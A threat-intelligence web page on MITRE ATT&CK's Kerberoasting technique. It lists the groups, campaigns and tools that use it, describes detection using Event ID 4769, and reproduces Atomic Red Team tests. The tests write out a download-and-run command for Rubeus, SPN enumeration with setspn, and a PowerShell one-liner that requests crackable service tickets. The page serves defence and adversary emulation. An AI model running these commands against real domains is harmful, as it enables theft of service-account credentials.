tfMITRE ATT&CK sub-technique

Kerberoasting T1558.003

sub-technique of T1558 Steal or Forge Kerberos Tickets

Tactic: Credential Access
Platform: Windows
Version: 1.3
Created: 11 February 2020
Last modified: 24 October 2025
Contributor: Praetorian

Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.[1][2]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups64th pct

Threat groups64th percentile · 64% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 12%

Campaigns88th percentile · 88% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware68th pct

Tools & malware68th percentile · 68% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 11%

Detection rules89th percentile · 89% of ATT&CK techniques have this many detection rules written or fewer.

Kerberoasting MITRE reference T1558.003

64th pctamong all ATT&CK techniques for number of groups

3 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

Indrik SpiderG0119 ↗

Has conducted Kerberoasting attacks using a module from GitHub.1

created 2021-01-061 referenceaka Evil Corp

Wizard SpiderG0102 ↗

Has used Rubeus, MimiKatz Kerberos module, and the Invoke-Kerberoast cmdlet to steal AES hashes.1 2 3 4 5

created 2020-05-125 referencesaka UNC1878

FIN7G0046 ↗

Has used Kerberoasting PowerShell commands such as, Invoke-Kerberoast for credential access and to enable lateral movement.1 2

created 2017-05-312 referencesaka GOLD NIAGARA

All 3 groups for this technique

3 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

Leviathan Australian IntrusionsC0049 ↗

Leviathan used Kerberoasting techniques during Leviathan Australian Intrusions.1

2022

SolarWinds CompromiseC0024 ↗

During the SolarWinds Compromise, APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.1

2019–2021

Operation WocaoC0014 ↗

During Operation Wocao, threat actors used PowerSploit's Invoke-Kerberoast module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.1

2017–2019

All 3 campaigns for this technique

6 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

RubeusS1071 ↗

Can use the KerberosRequestorSecurityToken.GetRequest method to request kerberoastable service tickets.1

created 2023-03-29TOOLcarried by 1 group

Brute Ratel C4S1063 ↗

Can decode Kerberos 5 tickets and convert it to hashcat format for subsequent cracking.1

created 2023-02-07TOOL

SILENTTRINITYS0692 ↗

Contains a module to conduct Kerberoasting.1

created 2022-03-23TOOL

EmpireS0363 ↗

Uses PowerSploit's Invoke-Kerberoast to request service tickets and return crackable ticket hashes.1

created 2019-03-11TOOLcarried by 17 groups

ImpacketS0357 ↗

Modules like GetUserSPNs can be used to get Service Principal Names (SPNs) for user accounts. The output is formatted to be compatible with cracking tools like John the Ripper and Hashcat.1

created 2019-01-31TOOLcarried by 18 groups

PowerSploitS0194 ↗

PowerSploit's Invoke-Kerberoast module can request service tickets and return crackable ticket hashes.1 2

created 2018-04-18TOOLcarried by 9 groups

All 6 software entries for this technique

Offense vs defense T1558.003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 3Sigma rules (cumulative) · 18Splunk ESCU (cumulative) · 8

first rule: 2017 Q1 · 3 of 3 campaigns plotted

Kerberoasting detection strategy DET0157

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Kerberoasting Attempts (T1558.003)

Enterprise

1 platform

AN0444 · Windows

Detects Kerberoasting attempts by monitoring for anomalous Kerberos TGS requests (Event ID 4769) with RC4 encryption (etype 0x17), accounts requesting an unusual number of service tickets in a short period, or service accounts targeted outside normal usage baselines. Also correlates suspicious process activity (e.g., Mimikatz invoking LSASS access) with Kerberos ticket anomalies.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process AccessDC0035	WinEventLog:Sysmon	EventCode=10
Logon Session CreationDC0067	WinEventLog:Security	EventCode=4624, 4648
Active Directory Credential RequestDC0084	WinEventLog:Security	EventCode=4769
Logon Session MetadataDC0088	WinEventLog:Security	EventCode=4672

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TGSRequestThreshold	Number of TGS requests per account within a defined window; higher than baseline may indicate Kerberoasting.
AllowedEncryptionTypes	Permitted Kerberos encryption algorithms; RC4 (etype 0x17) usage in modern environments is suspicious.
ServiceAccountBaselines	Expected SPNs requested by specific accounts; anomalies may indicate adversarial targeting.
TimeWindow	Correlation window for bursts of TGS requests; adjustable to reduce false positives.

Tests7ExecutorsPowerShell 6 · cmd 1Need elevation0 of 7Have prerequisites5Have cleanup1Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Request for service tickets

windows

PowerShell

—

Rubeus kerberoast

windows

PowerShell

—

Yes

Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast This build targets .NET 4.5. If targeting a different version you will need to compile Rubeus

Input arguments

Name	Type	Default	Description
flags	string	—	command flags you would like to run (optional and blank by default)
out_file	string	rubeus_output.txt	file where command results are stored
rubeus_url	url	https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe	URL of Rubeus executable
local_folder	path	PathToAtomicsFolder\..\ExternalPayloads	Local path of Rubeus executable
local_executable	string	rubeus.exe	name of the rubeus executable

Attack command

klist purge
cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}"

Cleanup command

Remove-Item "#{local_folder}\#{out_file}" -ErrorAction Ignore

Prerequisite

Computer must be domain joined

Check

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}

Satisfy

Write-Host Joining this computer to a domain must be done manually

Prerequisite

Rubeus must exist

Check

if(Test-Path -Path "#{local_folder}\#{local_executable}") {exit 0} else {exit 1}

Satisfy

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-Webrequest -Uri #{rubeus_url} -OutFile "#{local_folder}\#{local_executable}"

GUID453ad1e1-cddd-4d75-aaab-15f5fccd6c78

Extract all accounts in use as SPN using setspn

windows

cmd

—

The following test will utilize setspn to extract the Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output all the SPNs for the related domain.

Input arguments

Name	Type	Default	Description
domain_name	string	%USERDNSDOMAIN%	The Domain Name to lookup against

Attack command

setspn -T #{domain_name} -Q */*

Prerequisite

Computer must be domain joined

Check

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}

Satisfy

Write-Host Joining this computer to a domain must be done manually

GUID221658ce-0f82-4cc7-8492-a4ffce8ce451

Request A Single Ticket via PowerShell

windows

PowerShell

—

Request All Tickets via PowerShell

windows

PowerShell

—

The following test will utilize native PowerShell Identity modules to query the domain to extract allthe Service Principal Names. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the domain in question.

Input arguments

Name	Type	Default	Description
domain_name	string	%USERDNSDOMAIN%	The Domain Name to lookup against

Attack command

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -T #{domain_name} -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

Prerequisite

Computer must be domain joined

Check

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}

Satisfy

Write-Host Joining this computer to a domain must be done manually

GUID20a838b8-a48f-4003-bcba-cb30eca2049d

WinPwn - Kerberoasting

windows

PowerShell

—

WinPwn - PowerSharpPack - Kerberoasting Using Rubeus

windows

PowerShell

—

Tests from Atomic Red Team (MIT licence) · technique definition

Kerberoasting detections T1558.003

26 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 11%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs